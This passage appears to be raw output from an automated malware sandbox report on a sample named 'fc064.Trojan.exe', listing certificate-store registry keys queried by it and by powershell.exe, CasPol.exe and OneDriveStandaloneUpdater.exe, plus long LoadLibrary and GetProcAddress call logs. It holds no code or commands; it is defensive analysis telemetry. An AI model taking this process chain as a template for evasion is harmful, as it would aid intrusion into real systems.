"HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUST\CTLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "CasPol.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "CasPol.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "OneDriveStandaloneUpdater.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "OneDriveStandaloneUpdater.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "OneDriveStandaloneUpdater.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "OneDriveStandaloneUpdater.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "OneDriveStandaloneUpdater.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "OneDriveStandaloneUpdater.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "")3a:T6cc,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS\27748148BBE67A43CDBFEC6C3784862CE134E6EA"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\PROTECTEDROOTS"; Key: "CERTIFICATES") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0119E81BE9A14CD8E22F40AC118C687ECBA3F4D8"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\06F1AA330B927B753A40E68CDF22E34BCBEF3352"; Key: "BLOB")3b:T4740,"fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\e4e680611f69d26d704e61dd8bfa4ece\System.Configuration.ni.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\638ba173c955ab83f37edbab9b896f44\System.Xml.ni.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MPCLIENT.DLL (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MsMpLics.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007512) "fc064.Trojan.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\ntdll.dll (UID: 00000000-00007512) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\638ba173c955ab83f37edbab9b896f44\System.Xml.ni.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\VERSION.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00000848) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000848) "CasPol.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006536) "CasPol.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006536) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-security-systemfunctions-l1-1-0 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter COMBASE.DLL (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter Wscapi.dll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter wofutil.dll (UID: 00000000-00001464) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-security-systemfunctions-l1-1-0 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter COMBASE.DLL (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter Wscapi.dll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter wofutil.dll (UID: 00000000-00007708) "OneDriveStandaloneUpdater.exe" called "LoadLibrary" with a parameter cldapi.dll (UID: 00000000-00007708)3c:T1204a,"fc064.Trojan.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter 